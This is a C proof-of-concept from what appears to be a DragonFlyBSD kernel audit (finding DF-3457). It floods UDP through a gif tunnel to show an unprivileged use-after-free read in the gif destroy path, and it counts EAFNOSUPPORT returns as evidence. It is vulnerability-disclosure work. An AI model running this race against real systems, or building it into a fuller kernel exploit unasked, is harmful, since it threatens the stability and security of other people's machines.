⬢ DragonFlyBSD Kernel Audit
DF-3457 / flood.c
← back to finding ↓ download raw
/*
 * DF-3457 PoC - unprivileged traffic side of the gif destroy race,
 * instrumented.
 *
 * Flood UDP packets at 10.99.0.1 (routed via gif0) so that gif_output()
 * -> in_gif_output() is constantly in flight on this (unprivileged)
 * thread while root churns `ifconfig gif0 destroy` on another CPU.
 *
 * The kernel frees sc->gif_psrc/gif_pdst (if_gif.c:821-828) and the
 * gif_softc itself (if_gif.c:200) in the destroy syscall WITHOUT
 * taking gif0's ifnet serializer, which this thread holds via
 * gif_output()->ifsq_serialize_hw() (== ifp->if_serializer, if.c:642).
 *
 * INVARIANTS kernels poison freed chunks with 0xdeadc0de
 * (kern_slaballoc.c "WEIRD_ADDR", copied over the whole 16-byte
 * M_IFADDR chunk).  An in-flight in_gif_output() that reads
 * gif_psrc/gif_pdst after gif_delete_tunnel() freed them sees
 * sin_family == 0xde -> the family check at in_gif.c:107-109 fails ->
 * m_freem + EAFNOSUPPORT -> ip_output -> udp_output -> sendto().
 *
 * On a correctly-serialized kernel, a sendto() while gif0 is fully
 * configured (tunnel + addr + up + route present) can NEVER return
 * EAFNOSUPPORT.  Counting those returns PROVES the use-after-free
 * read from unprivileged context.
 *
 * build: cc -O2 -o flood flood.c
 * run (unprivileged): ./flood [nproc] [dst]
 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

static volatile sig_atomic_t stop = 0;
static void onsig(int s __unused) { stop = 1; }

int
main(int argc, char **argv)
{
	int nproc = (argc > 1) ? atoi(argv[1]) : 4;
	const char *dst = (argc > 2) ? argv[2] : "10.99.0.1";
	struct sockaddr_in sin;
	char buf[512];
	int i;

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(9);	/* discard */
	inet_pton(AF_INET, dst, &sin.sin_addr);

	signal(SIGINT, onsig);
	signal(SIGTERM, onsig);

	for (i = 1; i < nproc; i++) {
		pid_t p = fork();
		if (p == 0)
			break;		/* child falls through */
		if (p < 0)
			perror("fork");
	}

	unsigned long ok = 0, af = 0, other = 0, unreachable = 0;
	unsigned long last_af = 0;
	time_t last = time(NULL);

	for (;;) {
		int s = socket(AF_INET, SOCK_DGRAM, 0);
		if (s < 0) {
			usleep(1000);
			continue;
		}
		while (!stop) {
			if (sendto(s, buf, sizeof(buf), 0,
			    (struct sockaddr *)&sin, sizeof(sin)) < 0) {
				if (errno == EAFNOSUPPORT) {
					af++;	/* UAF read of freed
						 * gif_psrc/gif_pdst */
					usleep(50);
				} else if (errno == ENETUNREACH ||
				    errno == ENETDOWN ||
				    errno == EADDRNOTAVAIL) {
					unreachable++;	/* churn gap */
					usleep(100);
				} else {
					other++;
					usleep(100);
				}
			} else {
				ok++;
				usleep(40);	/* ~25k pps each; keeps
						 * netisr0 drain alive */
			}
			if (time(NULL) - last >= 30) {
				last = time(NULL);
				last_af = af;
				fprintf(stderr, "pid %d: ok=%lu "
				    "EAFNOSUPPORT=%lu netdown=%lu other=%lu\n",
				    getpid(), ok, af, unreachable, other);
			}
		}
		if (af)
			fprintf(stderr, "pid %d: ok=%lu EAFNOSUPPORT=%lu "
			    "netdown/unreach=%lu other=%lu\n",
			    getpid(), ok, af, unreachable, other);
		close(s);
		break;
	}
	return 0;
}